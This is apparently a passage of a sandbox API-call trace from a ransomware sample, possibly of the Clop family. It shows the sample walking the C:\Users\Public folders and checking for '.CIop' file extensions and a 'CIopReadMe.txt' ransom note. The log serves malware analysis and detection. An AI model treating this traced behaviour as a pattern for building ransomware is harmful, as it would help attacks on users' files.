11 [0148.793] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0148.793] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0148.793] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.793] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0148.794] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0148.794] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.794] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0148.794] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0148.794] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.794] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.794] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0148.794] SetErrorMode (uMode=0x1) returned 0x1 [0148.794] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0148.794] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0148.794] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Desktop\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0148.794] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0148.794] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.794] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0148.794] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0148.794] lstrlenW (lpString="Desktop") returned 7 [0148.794] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.794] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0148.794] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Desktop\\*.*") returned="C:\\Users\\Public\\Desktop\\*.*" [0148.794] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.794] PathFindFileNameW (pszPath="C:\\Users\\Public\\Desktop") returned="Desktop" [0148.794] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0148.795] lstrlenW (lpString="Desktop") returned 7 [0148.795] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.795] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.795] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.795] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0148.795] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0148.795] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.795] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.795] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0148.795] SetErrorMode (uMode=0x1) returned 0x1 [0148.795] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0148.795] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0148.795] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Documents\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0148.795] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0148.795] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.795] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0148.795] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0148.795] lstrlenW (lpString="desktop.ini") returned 11 [0148.796] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0148.796] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0148.796] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.797] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0148.797] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0148.797] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0148.797] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0148.797] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0148.797] SetErrorMode (uMode=0x1) returned 0x1 [0148.797] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0148.797] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0148.797] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0148.797] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0148.797] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.797] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0148.797] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0148.797] lstrlenW (lpString=".CIop") returned 5 [0148.797] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.797] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.797] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.797] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0148.797] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0148.797] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.797] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0148.797] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0148.797] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0148.797] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0148.797] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0148.797] SetErrorMode (uMode=0x1) returned 0x1 [0148.797] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0148.798] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0148.798] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0148.798] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0148.798] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.798] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0148.798] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0148.798] lstrlenW (lpString=".CIop") returned 5 [0148.798] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.798] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.798] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.798] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0148.798] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0148.798] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.798] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0148.798] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0148.798] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0148.798] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0148.798] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0148.798] SetErrorMode (uMode=0x1) returned 0x1 [0148.798] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0148.798] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0148.798] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0148.798] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0148.798] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.798] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0148.798] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0148.798] lstrlenW (lpString=".CIop") returned 5 [0148.798] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.798] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.798] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.798] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0148.798] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0148.798] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.798] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0148.798] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0148.799] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.799] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0148.799] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0148.799] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.799] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.799] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0148.799] SetErrorMode (uMode=0x1) returned 0x1 [0148.799] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0148.799] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0148.799] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Downloads\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0148.799] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0148.799] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.799] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0148.799] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0148.800] lstrlenW (lpString="desktop.ini") returned 11 [0148.800] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0148.800] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0148.800] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.800] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0148.800] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0148.800] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.800] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0148.800] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0148.800] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.800] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.800] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0148.800] SetErrorMode (uMode=0x1) returned 0x1 [0148.800] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0148.800] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0148.800] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Libraries\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0148.800] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0148.800] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.800] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0148.800] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0148.800] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.800] lstrlenW (lpString="desktop.ini") returned 11 [0148.800] lstrlenW (lpString=".CIop") returned 5 [0148.801] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0148.801] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0148.801] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.801] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0148.801] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0148.801] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.801] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0148.801] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0148.801] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.801] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.801] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0148.801] SetErrorMode (uMode=0x1) returned 0x1 [0148.801] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0148.801] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0148.801] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Music\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0148.801] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0148.801] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.801] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0148.801] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0148.801] lstrlenW (lpString="desktop.ini") returned 11 [0148.801] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0148.801] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0148.802] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.802] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0148.802] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0148.802] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.802] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0148.802] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0148.802] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.802] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.802] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0148.802] SetErrorMode (uMode=0x1) returned 0x1 [0148.802] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0148.802] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0148.802] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Pictures\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0148.802] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0148.802] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.802] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0148.802] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0148.802] lstrlenW (lpString="desktop.ini") returned 11 [0148.802] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0148.802] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0148.802] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.802] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0148.803] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0148.803] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.803] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0148.803] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0148.803] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0148.803] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0148.803] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0148.803] SetErrorMode (uMode=0x1) returned 0x1 [0148.803] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0148.803] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0148.803] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Videos\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0148.803] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0148.803] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0148.803] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0148.803] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0148.803] lstrlenW (lpString="desktop.ini") returned 11 